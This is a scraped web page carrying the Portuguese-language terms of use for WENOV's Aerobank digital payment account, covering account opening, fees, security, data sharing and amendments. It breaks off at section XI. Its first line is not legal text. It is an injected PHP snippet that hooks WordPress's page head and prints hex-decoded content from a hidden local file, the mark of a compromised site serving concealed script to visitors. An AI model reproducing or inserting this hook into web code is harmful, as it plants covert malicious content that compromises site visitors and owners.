if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Termos de uso – Wenov

Wenov

Termos de uso

Banco digital

Estes Termos e Condições de Uso para Abertura de Conta Digital de Pagamento e outras avenças (“Termos de uso”), têm a finalidade de definir as condições gerais aplicáveis à relação jurídica firmada entre a RP TECNOLOGIA EM CAPTURAS E PROCESSAMENTO DE TRANSAÇÕES LTDA,sociedade empresária limitada devidamente constituída e existente sob as leis da República Federativa do Brasil, com sede na Rua Pequetita, nº 111, sala 507 e 508, Bairro: Vila Olímpia, CEP:04.552.060, Cidade de São Paulo, Estado de São Paulo, Brasil, inscrita no CNPJ/MF sob o nº 14.233.366/0001-15, neste ato representada conforme seus atos constitutivos, (doravante designada simplesmente “WENOV”) e você CLIENTE, pessoa física ou pessoa jurídica nomeada e qualificada para a abertura, movimentação, manutenção e encerramento de Conta Digital de Pagamento, estipulando os direitos e obrigações aos quais ambas as Partes ficarão submetidas a partir do instante em que o CLIENTE der o seu aceite eletrônico, ler e concordar com o presente Termos de Uso.

Com a abertura da Conta Digital de Pagamento, a WENOV prestará ao CLIENTE serviços de gestão de Conta Digital de Pagamento, de operações de pagamento e de transferência de valores (“Serviços”) por meio do sua Plataforma Aerobank, disponível para acesso pelo CLIENTE no https://aerobank.wenov.vc/ ou atra´ves de recebimento de convite . Esteja ciente de que a adesão a este Termo de uso e o acesso a sua conta digital, ocorrerá somente após a WENOV analisar e aprovar as informações e Dados Pessoais encaminhados no momento do cadastro.

Todos os termos iniciados em letra maiúscula neste documento terão os significados a eles atribuídos na Cláusula III abaixo.

De um lado, WENOV, de outro lado, o CLIENTE, têm entre si ajustada e contratada o acesso a Plataforma Aerobank e a abertura de Conta Digital de Pagamento, destinada a acolher e movimentar valores, que se disciplinarão pelas disposições destes Termos de Uso e pela sua Política de Privacidade WENOV, ficando submetidos ao que dispuserem a lei e os normativos das autoridades competentes.

I. DECLARAÇÕES DO CLIENTE E VEDAÇÕES

ImageAo aderir este Termo de uso, o CLIENTE confirma que leu, compreendeu e concordou com as condições estabelecidas e com a Política de Privacidade adotada e disponibilizada através do link https://aerobank.wenov.vc/ (“Política de Privacidade WENOV”). Em caso de dúvidas, contate a WENOV por meio dos canais de atendimento, através do telefone 0800-878-8338 (disponível de Segunda a Sexta das 08h00 às 20h00 e Sábado das 08h00 às 14h00), e e-mail atendimento@wenov.vc.

ImageO CLIENTE está ciente que para realizar a abertura de Conta Digital de Pagamento em nome de pessoa física ou pessoa jurídica que o represente, é necessário ser pessoa plenamente capaz com mais de 18 (dezoito) anos de idade e ter plenos poderes para celebrar contratos e realizar operações financeiras em nome de pessoa jurídica.

ImageO CLIENTE declara ser o único responsável por seu login e senha de acesso a Plataforma Aerobank da WENOV através do link https://aerobank.wenov.vc/ , se comprometendo a não utilizar em hipótese alguma o login ou senha de terceiros, nem permitir que um terceiro utilize seu login ou senha. Declara ainda, ter plena ciência de que não poderá alterar endereços de máquinas, ou o IP (Internet Protocol) de rede ou de correio eletrônico, na tentativa de responsabilizar terceiros ou ocultar sua identidade ou autoria.

ImageO CLIENTE declara que utilizará a Conta Digital de Pagamento apenas para fins lícitos, reconhecendo que é responsável, com exclusividade, pela utilização que dela fizer, eximindo a WENOV de qualquer responsabilidade por danos ou prejuízos causados a terceiros decorrentes do uso da Conta Digital de Pagamento, da Plataforma Aerobank WENOV e dos serviços por meio destes oferecidos.

ImageO CLIENTE reconhece que não deverá praticar quaisquer atos ilícitos, como fraudes, e/ou violações à legislação vigente, inclusive às disposições da Lei 9.613/98 e Lei nº 12.846/13, bem como ao acessar a Plataforma Aerobank com seu Login e senha, não poderá alterar, decodificar, descompilar, reverter e/ou modificar o software do Plataforma, ou utilizar qualquer meio indevido ou ilícito para acessar informações confidenciais da WENOV.

ImageO CLIENTE declara ter aceito a Política de Privacidade WENOV, compreendendo que nela consta a forma pela qual a WENOV realiza o tratamento de seus dados pessoais, fornecendo e permitindo de forma consciente e voluntária que a WENOV acesse seus dados como nome, foto, endereço, endereço de e-mail, número de telefone, número de CPF, sexo, data de nascimento, número de RG, informações de pagamento, transações financeiras, informações sobre o pagamento de eventuais operações de crédito contratadas junto à Plataforma Aerobank, dentre outras informações (“Dados Pessoais”), podendo inclusive consultá-la a qualquer momento pelo endereço eletrônico https://aerobank.wenov.vc/

II. ACEITAÇÃO E ACESSO A PLATAFORMA AEROBANK

2.1. A WENOV, por meio destes Termos de Uso, concede ao CLIENTE uma licença pessoal, limitada, temporária, revogável, não exclusiva e intransferível de uso da Plataforma Aerobank, durante o período de manutenção da sua Conta Digital de Pagamento.

2.2. No ato de seu cadastro na Plataforma Aerobank, o CLIENTE criará , o nome de Usuário Master (“Login”) e senha que serão por ele utilizados para acesso à sua Conta Digital de Pagamento.

2.3. O acesso e a utilização da Plataforma Aerobank ,estão condicionados à abertura de Conta Digital de Pagamento, devendo o CLIENTE de forma voluntária fornecer seus Dados Pessoais para fins de cadastro e identificação na Plataforma Aerobank. Com isso, a WENOV realizará o tratamento dos Dados Pessoais do CLIENTE de acordo com a sua Política de Privacidade WENOV.

2.4. As ferramentas disponibilizadas na Plataforma Aerobank consistem em Application Programming Interfaces
(“API”), que permite ao CLIENTE contratar Produtos e Serviços da WENOV e diretamente com seus parceiros.

2.4.1. A WENOV não poderá ser responsabilizada por eventuais perdas, danos, indenizações, atos, procedimentos, ações, reclamações, demandas, custos ou ações diretas ou de regresso, advindos da relação firmada diretamente entre o CLIENTE e seus parceiros através da Plataforma Aerobank..

2.5. A WENOV tomará todas as providências e medidas cabíveis para manter o acesso a Plataforma Aerobank disponível, entretanto o CLIENTE tem ciência de que poderão ocorrer eventuais falhas sistêmicas acarretando na retirada da Plataforma Aerobank do ar pela WENOV com o objetivo de regularizar o mais rápido possível a falha encontrada.

O CLIENTE tem ciência de que deverá utilizar a Plataforma Aerobank , única e exclusivamente para os fins previstos nos contratos aplicáveis aos Produtos e Serviços disponibilizados pela WENOV ou por seus parceiros por meio da Plataforma Aerobank . É vedado ao CLIENTE utilizar a Plataforma Aerobank para armazenar, distribuir, transmitir ou reproduzir arquivos, mensagens, imagens, programas de computador, aplicações ou quaisquer outros materiais que violem direitos de terceiros e/ou que tenham conteúdo ilícito.

2.6. É de propriedade da WENOV (i) todo e qualquer software, aplicativo ou funcionalidade empregado na Plataforma Aerobank;
(ii) a identidade visual da Plataforma Aerobank; (iii) o nome empresarial, marca, nome de domínio ou qualquer sinal distintivo da WENOV inserido na Plataforma Aerobank; e (iv) todo e qualquer conteúdo criado e produzido dentro da Plataforma Aerobank. A propriedade intelectual da Plataforma Aerobank pertence, e continuará pertencendo, exclusivamente à WENOV.

2.7. O CLIENTE será responsável pela veracidade, validade e precisão dos Dados Pessoais por ele preenchidos no ato do cadastro da Conta Digital de Pagamento, inclusive em relação à indicação de endereço de e-mail de sua titularidade, válido, competindo-lhe, ainda, manter seu cadastro sempre atualizado.

III. DEFINIÇÕES

(a) “Carga ou Recarga” significa aporte de valores em moeda corrente nacional na Conta Digital de Pagamento do Cliente, mediante depósito via boleto ou transferência para conta bancária ou Conta Digital de Pagamento de titularidade da WENOV por esta indicada.

(b) “Conta Digital de Pagamento” significa Conta de pagamento pré-paga gerenciada pela WENOV, por meio do qual o Cliente terá acesso às funcionalidades previstas neste Termo de uso. Consiste em conta escritural individualizada de titularidade do Cliente, associada ao seu CPF ou CNPJ, destinada ao registro de valores em moeda corrente nacional previamente aportados pelo Cliente por meio de Carga ou Recarga, de recursos recebidos, bem como de transações realizadas pelo próprio Cliente. A Conta Digital de Pagamento não se confunde com conta corrente de depósito ou conta poupança mantida em instituições financeiras, eis que, no caso da Conta de Pagamento Digital, esta é gerida pela WENOV, que tem como dever adotar procedimentos e controles que permitam confirmar e garantir a identidade do Cliente, a autencidade das informações exigidas, bem como adequar os procedimentos relativos à prevenção à lavagem de dinheiro e ao financiamento do terrorismo, inclusive mediante confrontação das informações com as disponíveis em bancos de dados de caráter público ou privado.
(c) “Plataforma Aerobank” significa Plataforma tecnológica que disponibiliza informações sobre produtos e serviços da WENOV, bem como torna possível a captura eletrônica e o processamento, por meios determinados pela WENOV, de Cargas ou Recargas e Transações realizadas pelo Cliente mediante acesso web https://aerobank.wenov.vc/

(d) “Serviços” significa serviços prestados via Plataforma Aerobank, de gestão de conta de pagamento digital, bem como de gestão de operações de pagamento e de transferência de valores relativamente a Transações.

(e) “Produtos” significa hardwares comercializáveis com a marca WENOV, bem como acesso à Plataforma Aerobank , composta por ferramentas digitais, que permitem acesso a produtos e soluções de negócios voltadas aos clientes finais.

(f) “Link” significa acesso a Plataforma Aerobank, para que este através de seu login e senha tenha disponível as informações sobre estes Termos de Uso, bem como a todas as funcionalidades para utilização dos Serviços pelo Cliente.

(g) “Política de Privacidade WENOV” significa Normas aplicáveis a todos os Clientes da WENOV relativamente ao tratamento e utilização de Dados Pessoais fornecidos pelo Cliente para o uso da Plataforma Aerobank.

(h) “Proposta de Abertura de Conta” significa formulário disponibilizado pela WENOV, devidamente preenchido pelo Cliente com seus Dados Pessoais para fins de adesão aos Termos de Uso e contratações de Serviços.

(i) “Saldo” significa o saldo existente na Conta Digital de Pagamento no início do dia acrescido de todos os valores creditados nessa Conta Digital de Pagamento e subtraído de todos os valores debitados no mesmo dia. O saldo é apurado no final do dia, depois de todas as movimentações na Conta Digital de Pagamento terem ocorrido.

(j) “Transação” significa operação de pagamento de boleto de cobrança por meio da plataforma Aerobank, bem como Transferência ou retirada, mediante lançamento a débito do valor da operação na Conta Digital de Pagamento do Cliente.
(k) “Transferência” significa operação, por meio do Aerobank, de transferência de valores em moeda corrente nacional disponíveis na Conta Digital de Pagamento do Cliente para conta de pagamento WENOV de titularidade de terceiros; ou para conta bancária/conta de pagamento de titularidade do Cliente ou de terceiros, mantida em instituição financeira ou instituição de pagamento no Brasil e previamente cadastrada na WENOV.
(l) “Cliente” significa pessoa física ou jurídica nomeada e qualificada para a abertura, movimentação, manutenção e encerramento de Conta Digital de Pagamento que aceitou os Termos de Uso para usar de qualquer forma os Serviços e Produtos fornecidos e disponibilizados através do Plataforma Aerobank.
(m) “Termos de Uso” significa Termos e Condições de Uso para Abertura, Movimentação, Manutenção de Conta Digital de Pagamento e de Produtos e Serviços disponibilizados ao Cliente, bem como uso da plataforma Aerobank.
(n) “Float” é a permanência de recursos transitórios dos Clientes da WENOV que ficam sob responsabilidade da WENOV, ou seja, é o saldo apurado no fim do dia e correspondente a todos os valores creditados na Conta Digital de Pagamento, subtraído de todos os valores nela debitados.
(o) “Saldo Disponível” é o saldo apurado no fim do dia e correspondente a todos os valores creditados na Conta Digital de Pagamento, subtraído de todos os valores nela debitados.

IV. CONDIÇÕES PARA ABERTURA, MOVIMENTAÇÃO E MANUTENÇÃO DA CONTA DIGITAL

4.1. O CLIENTE tem o dever de observar a legislação brasileira aplicável às operações de que for participante, garantindo que não realizará operações ilícitas, contrárias à moral ou aos bons costumes, ou que saiba ou deva saber que são nulas ou anuláveis.

4.2. Após a entrega dos documentos solicitados pela WENOV para realização do cadastro do CLIENTE, este terá acesso a Conta Digital de Pagamento associada ao seu CPF ou CNPJ, podendo ser movimentada a qualquer momento, exclusivamente nas condições destes Termos de Uso. É condição para abertura e manutenção da Conta Digital de Pagamento que o CLIENTE seja uma pessoa física plenamente capaz com mais de 18 (dezoito) anos e/ou representante de pessoa jurídica também plenamente capaz com mais de 18 (dezoito) anos com plenos poderes para celebrar contratos e realizar operações financeiras em nome dela.

4.3. A Conta Digital de Pagamento terá um login de identificação que será criado pelo proprio CLIENTE, bem como um a senha pessoal de acesso, que não pode ser compartilhada com terceiros.

4.4. As Movimentações e Transações realizadas necessitará de autorização expressa do CLIENTE nos documentos eletrônicos correspondentes. O CLIENTE fará uso de senha que é pessoal e intransferível, assim como dos demais dispositivos de segurança que a WENOV exija ou venha a exigir, para que essas movimentações sejam efetivadas, deven ndo
o CLIENTE tomar todas as medidas necessárias para que sua senha não venha a ser utilizada por outra pessoa, assumindo
o dever de não utilizar login ou senha de terceiros, nem permitir que um terceiro utilize seu login ou senha, estando ciente de que não poderá alterar endereços de máquinas, ou o IP (“Internet Protocol”) de rede ou de correio eletrônico, na tentativa de responsabilizar terceiros ou ocultar sua identidade ou autoria.

4.5. O CLIENTE poderá consultar todas as movimentações de entrada e saída de recursos ocorridos em sua Conta Digital de Pagamento por meio dos canais eletrônicos da plataforma Aerobank.

4.6. O CLIENTE poderá depositar recursos próprios na sua Conta Digital de Pagamento ou em Conta Digital de Pagamento de outros Clientes apenas por canais eletrônicos disponibilizados pela WENOV. Não será possível realizar depósitos a partir de dinheiro em espécie ou cheque.

4.7. A WENOV poderá recusar a contratação dos Serviços pelo Cliente sem necessidade de justificativa.

4.8. Salvo em casos de bloqueios previstos neste Termo de Uso ou na legislação vigente aplicável, o CLIENTE poderá retirar a qualquer momento recursos depositados na sua Conta Digital de Pagamento apenas através de tranferencia a outras insitituições.

4.9. A WENOV poderá, a seu exclusivo critério, na abertura e/ou durante a constância da manutenção da Conta Digital de Pagamento, por questões de atualização cadastral a ser realizada anualmente, exigir dados, documentos e declarações que entenda necessários à perfeita identificação, qualificação e conhecimento do CLIENTE, em especial, mas não se limitando, as informações necessárias à prevenção e ao combate à “lavagem de dinheiro e ao financiamento do terrorismo”, à identificação e ao relacionamento das pessoas politicamente expostas. A recusa do CLIENTE no fornecimento de dados, informações, documentos e ou declarações solicitadas pela WENOV poderá, a exclusivo critério desta, ensejar a não abertura da Conta Digital de Pagamento, a não realização da transação e/ ou o encerramento da Conta Digital de Pagamento.

4.10. O CLIENTE se obriga a informar à WENOV, imediatamente, por meio da sua Central de Relacionamento, todas as alterações dos dados cadastrais por ele fornecido no ato da solicitação de abertura da Conta Digital de Pagamento. Se a alteração cadastral estiver relacionada com alguma informação desatualizada constante de documentos em poder da WENOV, o CLIENTE deverá providenciar as respectivas e imediatas substituições.

4.11. Caso o CLIENTE não providencie a comunicação de qualquer alteração cadastral, fica desde já esclarecido que as comunicações e correspondências físicas ou eletrônicas enviadas pela WENOV aos endereços fornecidos na abertura da Conta Digital de Pagamento pelo CLIENTE serão consideradas como efetivamente recebidas.

4.12. A Conta Digital de Pagamento é única e intransferível, de modo que é possível efetuar apenas um cadastro por CPF ou CNPJ, sendo canceladas as contas já existentes na base de dados da WENOV, podendo o CLIENTE determinar a transferência do saldo da sua Conta Digital de Pagamento cancelada para qualquer outro domicílio, se assim pretender.

4.13. As transações na Conta de Pagamento Digital serão realizadas sempre em moeda corrente brasileira.

4.14. As transações realizadas estão sujeitas à análise antifraude, deste modo, poderá a WENOV bloquear a conta preventivamente, caso haja qualquer suspeita de inconsistências cadastrais, crimes financeiros, operações fora de seu padrão de uso, utilização indevida que desrespeite qualquer condição presente nestes Termos de Uso e em outras contratações realizadas com a WENOV, bem como na legislação vigente aplicável. Nesses casos, a Conta Digital de Pagamento somente será liberada após o esclarecimento e regularização da situação que motivou o bloqueio.

4.15. Todas as transações com a Conta Digital de Pagamento serão submetidas a mecanismos de autenticação, por meio da senha cadastrada pelo Cliente.

4.16. O CLIENTE isenta a WENOV de qualquer responsabilidade decorrente de transações não realizadas em virtude de suspeita de fraude e de transações realizadas por terceiros com o uso de sua senha.

4.17. No caso de exceder os limites da Conta Digital de Pagamento do CLIENTE, os pagamentos e transferências poderão ser bloqueados para análise.

4.18. O CLIENTE reconhece e declara estar ciente de que poderá haver interrupções no fornecimento dos Serviços pela WENOV por motivos técnicos, em razão de manutenção preventiva ou corretiva ou por motivos fora do controle da WENOV, portanto, esta não garante que seus Serviços ficarão sem interrupção, nem se responsabiliza por eventuais transações que deixem de ser realizadas durante os períodos de indisponibilidade.

4.19. O CLIENTE concorda em manter sob sua guarda e sigilo sua senha pessoal, de forma que a WENOV não será, em nenhuma hipótese, responsável por quaisquer prejuízos causados ao CLIENTE ou a quaisquer terceiros pela divulgação e utilização indevida destas. O CLIENTE ainda se compromete a notificar imediatamente a WENOV, por meio idôneo e confiável, de qualquer uso não autorizado na sua Conta Digital de Pagamento, assim como do acesso ou de tentativas de acesso por terceiros não autorizados. A WENOV reserva-se no direito de bloquear as movimentações atípicas de sua Conta Digital de Pagamento, conforme processo.

4.20. O saldo, as informações, transações e os comprovantes da Conta Digital de Pagamento do CLIENTE, estarão disponíveis de forma segura na plataforma Aerobank .

4.21. O CLIENTE expressamente autoriza, de forma irrevogável e irretratável que a WENOV realize estornos de valores previstos nestes Termos de Uso, independente de prévia consulta ou de qualquer outro ato ou formalidade legal ou documental.

4.22. O CLIENTE expressamente autoriza, de forma irrevogável e irretratável através deste Termo de Uso que os recursos disponíveis em sua Conta Digital de Pagamento poderão ser utilizados pela WENOV, independente de aviso prévio, para liquidar obrigações de sua responsabilidade em caso de inadimplência em quaisquer produtos contratados com a WENOV e/ou empresas do grupo econômico que a integra.

4.23. A verificação de documentos e/ou consulta de bases de dados pela WENOV não confere ao CLIENTE atestado de regularidade para qualquer finalidade nem o exime do cumprimento das obrigações previstas nestes Termos de Uso.

V. FUNCIONALIDADES DA CONTA DIGITAL DE PAGAMENTO

5.1. Com a abertura da Conta Digital de Pagamento, o CLIENTE poderá utilizar dos seguintes serviços:

(a) Transferências para contas em outras instituições financeiras via DOC, TED , desde que respeitados os horários limites estabelecidos pela WENOV, quais sejam de segunda à sexta das 10h00 às 16h30 .

(b) Pagamento de boletos: o produto contempla pagamento de boletos e contas de consumo, impostos, guias ou DARF.

(c) Depósito via boleto: o produto permite a efetivação de crédito na Conta Digital de Pagamento através de emissão de boleto e respectivo pagamento na rede bancária.

(d) Extrato da Conta Digital de Pagamento: o produto permite a consulta de toda a movimentação ocorrida na Conta Digital de Pagamento.


5.2. O CLIENTE não poderá efetuar transações:

(a) Que envolvam atividades ilícitas ou que representem infração a leis ou regulamentos vigentes no país;

(b) Que saiba ou deva saber estar impedido de realizar; e

(c) Que constituam fraude ou simulação.

O CLIENTE se compromete a cumprir toda e qualquer lei, norma ou regulamento a ele aplicável. A WENOV não se responsabiliza por infração e/ou descumprimento de qualquer legislação pelo CLIENTE.

5.3. O CLIENTE poderá requerer a transferência do saldo de sua Conta Digital de Pagamento a qualquer momento. Uma vez solicitada a transferência, seu pedido não poderá ser cancelado ou alterado.

A WENOV não terá qualquer responsabilidade caso não seja possível realizar uma transferência, o pagamento de um boleto de cobrança ou até mesmo realizar compras de bens e/ou serviços e/ou retirada de recursos, em virtude da falta de recursos disponíveis na sua Conta Digital de Pagamento. Ademais, a WENOV não se responsabiliza pelos termos e condições de terceiros aplicados em serviços contratados diretamente pelo CLIENTE.

5.4. Caso alguma transferência de valores realizada por terceiros ou pelo CLIENTE venha a ser cancelada ou revertida por qualquer motivo, os respectivos créditos serão estornados da Conta Digital de Pagamento, respeitando os prazos estabelecidos para este fim.

5.5. Caso os créditos já tenham sido utilizados pelo CLIENTE, no prazo de 24 (vinte e quatro) horas, deverá ser realizada nova transação para compensação do valor estornado.

5.6. Caso o CLIENTE deixe de cumprir o prazo indicado no item 5.8 a baixo, o valor em aberto deverá ser restituído à WENOV atualizado pela variação do IPCA/IBGE (ou índice que o substitua) desde a data do estorno até a data da restituição, acrescido de multa de 10% (dez por cento) e juros de 2% (dois por cento) ao mês.

5.7. Caso o saldo da Conta Digital de Pagamento esteja bloqueado por qualquer motivo, a transferência requerida pelo CLIENTE somente será efetuada após a liberação do bloqueio.

5.8. Em havendo lançamentos a débito na Conta Digital de Pagamento, incluindo, mas sem limitação, pagamento de títulos em cobrança bancária e tarifas, programados para a mesma data da transferência requerida, esta somente será efetuada após a efetiva cobrança e liquidação dos referidos lançamentos a débito na Conta Digital de Pagamento, sem prejuízo do disposto no item 5.5 acima.

5.9. O CLIENTE não receberá qualquer tipo de correção, atualização ou juros sobre os valores mantidos em sua Conta Digital de Pagamento.

5.10. Caso o CLIENTE identifique eventuais diferenças de valores em qualquer transação ou transferência de recursos de Conta de Terceiros para sua Conta Digital de Pagamento, deverá informar à WENOV no prazo de 15 (quinze) dias úteis a contar da data da realização da operação. Após esse prazo, entende-se que o valor creditado ou debitado na Conta Digital de Pagamento será considerado correto.

5.11. O CLIENTE não poderá (i) utilizar a Plataforma Aerobank para divulgar informações, de qualquer forma que possa implicar violação de normas aplicáveis no Brasil, de direitos de propriedade da WENOV e/ou de terceiros ou dos bons costumes, incluindo, sem limitação, a violação de direitos intelectuais, autorais e de privacidade; (ii) reproduzir, adaptar, modificar e/ou empregar, no todo ou em parte, para qualquer fim, qualquer conteúdo da Plataforma Aerobank sem a autorização expressa da WENOV e (iii) acessar, armazenar, divulgar, utilizar ou modificar indevidamente os dados de outros Clientes.


VI. TARIFAS

7.1. .O CLIENTE declara-se ciente de que a WENOV cobrará tarifas para realização dos Serviços, mediante débito na sua Conta Digital de Pagamento, as quais estarão disponíveis para consulta na Plataforma Aerobank.

7.2. Caso a WENOV venha a disponibilizar novos serviços, poderá instituir cobranças pelos serviços efetuados, conforme valores, termos e condições que vierem a ser previamente informados ao CLIENTE, de acordo com a regulamentação aplicável.

7.3. A WENOV reserva-se no direito de alterar as tarifas mencionadas na cláusula 7.1 acima a qualquer momento, desde que o CLIENTE seja previamente avisado, de acordo com a regulamentação aplicável, e tenham a opção de concordar com tal alteração, ou cancelar o Cadastro.

7.4. As tarifas que não sejam fixadas em percentual serão atualizadas anualmente ou na menor periodicidade permitida pela legislação aplicável, com base na variação positiva do IPC-A/IBGE para o período.

7.5. Para maiores informações de eventuais tarifas aplicáveis às funcionalidades da sua Conta de Pagamento Digital veja na plataforma https://aerobank.wenov.vc/

VII. PROCEDIMENTO DE SEGURANÇA

8.1. A WENOV não tem qualquer responsabilidade com relação às senhas criadas, alteradas e utilizadas pelo CLIENTE
em transações realizadas por quaisquer dos meios disponibilizados pela WENOV.

8.2. O CLIENTE é responsável pelo sigilo e pela guarda das suas senhas, e demais códigos de segurança, por si, ou por todas as pessoas a quem venham a revelar, mesmo que indevida ou acidentalmente, inclusive, sem limitação, na hipótese de caso fortuito ou força maior.

8.3. O CLIENTE deverá manter seus dados cadastrais sempre atualizados para que a WENOV possa realizar procedimentos de segurança necessários à prestação dos serviços. A WENOV poderá solicitar confirmações a fim de garantir a legitimidade do acesso a Plataforma Aerobank.

8.4. O CLIENTE obriga-se a cumprir e, quando aplicável, fazer com que seus colaboradores, prestadores de serviço e terceiros contratados cumpram, todos os requerimentos de segurança da informação divulgados pela WENOV, sempre conforme versão mais atualizada disponível, bem como informar imediatamente a ocorrência de qualquer furto, roubo e ou perda seu celular com acesso a Conta de Pagamento Digital, através dos canais de atendimento, para que a WENOV providencie a revogação do acesso a respectiva Conta de Pagamento Digital.

8.5. O CLIENTE obriga-se a cumprir todas as regras sobre prevenção e combate aos crimes de lavagem de dinheiro, de terrorismo e seu financiamento, entre outros, a ocultação de bens especificados pela Lei nº 9.613/1998 e pelo Conselho de Controle de Atividades Financeiras, além de outras legislações e regulamentações aplicáveis às hipóteses, bem como a colaborar de forma efetiva com as autoridades, órgãos de regulação e/ou de fiscalização, no fornecimento de dados e/ou informações, quando legalmente admitidos, inclusive, mas sem limitação, no que tange à prevenção e combate aos crimes de lavagem de dinheiro e ocultação de bens e aos crimes contra crianças e adolescentes, adotando todas as medidas necessárias de sua responsabilidade para coibir tais ilícitos.

8.6. O CLIENTE declara e garante que não pratica ou praticará quaisquer atos que sejam tidos como lavagem de dinheiro ou ocultação de bens, direitos ou valores.

8.7. O CLIENTE deverá informar a WENOV imediatamente sobre qualquer situação que possa estar relacionada à lavagem de dinheiro e/ou ao financiamento do terrorismo e que possa afetar a WENOV direta ou indiretamente.

8.8. A WENOV pode, sem aviso prévio e conforme seu critério, negar o processamento de transações e, ainda, efetuar o bloqueio preventivo da Conta Digital de Pagamento do CLIENTE até a conclusão de avaliação das supostas irregularidades, nas seguintes situações:


a) Indícios de fraude, de qualquer outro ato ilegal ou de descumprimento ou desvirtuamento da legislação ou regulamentação aplicável ou destes Termos de Uso;

b) Transações em desacordo com o perfil de utilização da Conta Digital de Pagamento pelo CLIENTE;

c) Transações que não respeitem os limites mínimo e máximo admitidos, conforme definidos pela WENOV e informados ao CLIENTE;

d) Dificuldade na confirmação dos dados do CLIENTE;

e) Caso o CPF ou CNPJ do CLIENTE esteja cancelado, pendente de regularização ou suspenso perante a Receita Federal do Brasil.

VIII. INFORMAÇÕES CONFIDENCIAIS

9.1. Com a realização do cadastro pela WENOV, o CLIENTE concorda com a Política de Privacidade WENOV, concedendo à WENOV autorização para o tratamento dos seus Dados Pessoais, de acordo com as regras constantes destes Termos de Uso e da Política de Privacidade WENOV.

9.2. A WENOV cumprirá com a legislação e regulamentos vigentes aplicáveis ao envio de informações sobre transações e operações realizadas em conformidade com estes Termos de Uso.

Ressalvado o quanto disposto na Política de Privacidade WENOV, e sem prejuízo das demais cláusulas e condições destes Termos de Uso, cada uma das partes se obriga a manter em absoluto sigilo e confidencialidade todas as informações, dados ou especificações a que tiver acesso ou que porventura venha a conhecer ou ter ciência relativamente às transações, às contas e aos demais Clientes da WENOV, utilizando tais informações exclusivamente para os fins destes Termos de Uso.

9.3. Nada obstante as obrigações de sigilo aqui previstas, ao aderir a estes Termos de Uso, o CLIENTE expressamente concorda e autoriza a WENOV a, sem qualquer ônus:

a) Prestar às autoridades competentes, todas as informações que forem solicitadas com relação ao CLIENTE e às operações por ele executadas sob estes Termos. A WENOV poderá, ainda, comunicar ao Conselho de Controle de Atividades Financeiras as transações que possam estar configuradas no disposto na Lei nº 9.613/1998 e demais normas relativas à lavagem de dinheiro, incluindo as normas e políticas internas da WENOV nesse sentido. A WENOV poderá, também, enviar os dados do CLIENTE ao Banco Central do Brasil por meio do Cadastro de Clientes do Sistema Financeiro Nacional – CCS;

b) Compartilhar informações cadastrais a seu respeito com todas as instituições participantes do mercado de meios de pagamento, observada a legislação aplicável;

c) Extrair e utilizar quaisquer dados públicos, informações de terceiros (como instituições financeiras) e/ou dados do CLIENTE disponibilizados em qualquer rede social e similares;

d) Utilizar comercialmente seus dados cadastrais, bem como quaisquer dados coletados pela WENOV, para envio ao CLIENTE de mensagens e materiais de caráter informativo relativas aos Serviços, assim como mensagens e materiais de natureza comercial e publicitária, com ofertas da WENOV e/ou de seus parceiros comerciais.

9.4. As obrigações de sigilo e privacidade das informações se manterão válidas inclusive após o término destes Termos de Uso por qualquer motivo.

9.5. A não observância das obrigações de confidencialidade aqui previstas sujeitará as partes contratantes ao pagamento de indenização pelas perdas e danos incorridos pela parte contrária, sem prejuízo das demais medidas asseguradas em lei às partes e aos terceiros prejudicados.

IX. PROPRIEDADE INTELECTUAL

10.1. O CLIENTE não adquire, por meio do presente Termos de Uso ou da Política de Privacidade WENOV, nenhum direito de propriedade intelectual ou outros direitos exclusivos, incluindo patentes, desenhos, marcas, direitos autorais ou direitos sobre informações confidenciais ou segredos de negócio, sobre ou relacionados a plataforma Aerobank , bem como à base de dados composta por dados de Clientes, os quais são de propriedade exclusiva da WENOV.

10.2. O CLIENTE declara estar ciente de que a toda a propriedade intelectual empregada no aplicativo celular e na plataforma https://aerobank.wenov.vc/ e em qualquer material criado ou disponibilizado pela WENOV. Tal propriedade intelectual engloba: (i) marcas, denominações sociais, nomes de serviços, slogans, trade dress, logotipos, nome de domínio da internet e outros sinais distintivos, assim como todos os pedidos, registros, extensões e renovações relacionadas; (ii) patentes, pedidos de patente e todas as renovações relacionadas, modelos de utilidade, pedidos de modelos de utilidade, certificados de adição, pedidos de certificados de adição, extensões e renovações relacionadas e registros de invenções;
(iii) registros de desenhos industriais e pedidos de registros de desenho industrial, extensões e renovações relacionadas;
(iv) direitos autorais, programas de computador, layouts, formas de apresentação, combinações de cores, códigos fonte e registros e pedidos de registro relacionados; e (v) segredos industriais e know-how.

10.3. A WENOV poderá, a seu exclusivo critério, a qualquer tempo e sem necessidade de comunicação prévia ao CLIENTE encerrar, modificar ou suspender, total ou parcialmente, o acesso do CLIENTE a Plataforma Aerobank, quando referido acesso ou cadastro violar as condições estabelecidas nestes Termos de Uso e/ou na Política de Privacidade WENOV;

10.4. A WENOV poderá, a qualquer tempo, mediante comunicação prévia ao CLIENTE no endereço de e-mail por este indicado em seu cadastro e por meio de aviso através da plataforma Aerobank , criar, alterar ou excluir cobranças dos serviços ora oferecidos, ainda que inicialmente tenham sido ofertados de forma gratuita e deverá, ainda, de forma clara, indicar qual o preço vigente dos serviços, facultando ao CLIENTE opção de aceitar ou não.

X. ALTERAÇÕES

11.1. A WENOV poderá, a qualquer tempo, incluir, excluir ou alterar estes Termos de Uso, a seu exclusivo critério, sendo que, quaisquer alterações realizadas deverão ser informadas por meio de comunicado expresso na Plataforma Aerobank com prazo de antecedência de 5 (cinco) dias, bem como mediante notificação, por e-mail, no mesmo prazo de antecedência ao CLIENTE.

11.2. Ocorrendo a alteração, o CLIENTE poderá escolher rescindir a relação contratual com a WENOV, sem aplicação de quaisquer multas e, se o CLIENTE continuar a utilizar os Serviços, concordará, tacitamente, com todas as alterações realizadas nos Termos de Uso.

11.3. A WENOV poderá ampliar a utilização da Conta Digital de Pagamento, agregando novos serviços e produtos, ou interromper o fornecimento de determinado Produto ou Serviço, a qualquer tempo.

11.4. O não cancelamento ou o uso da Conta Digital de Pagamento após a comunicação da alteração implica no aceite do CLIENTE em relação as novas condições deste Termo de Uso.

XI. VIGÊNCIA E RESCISÃO

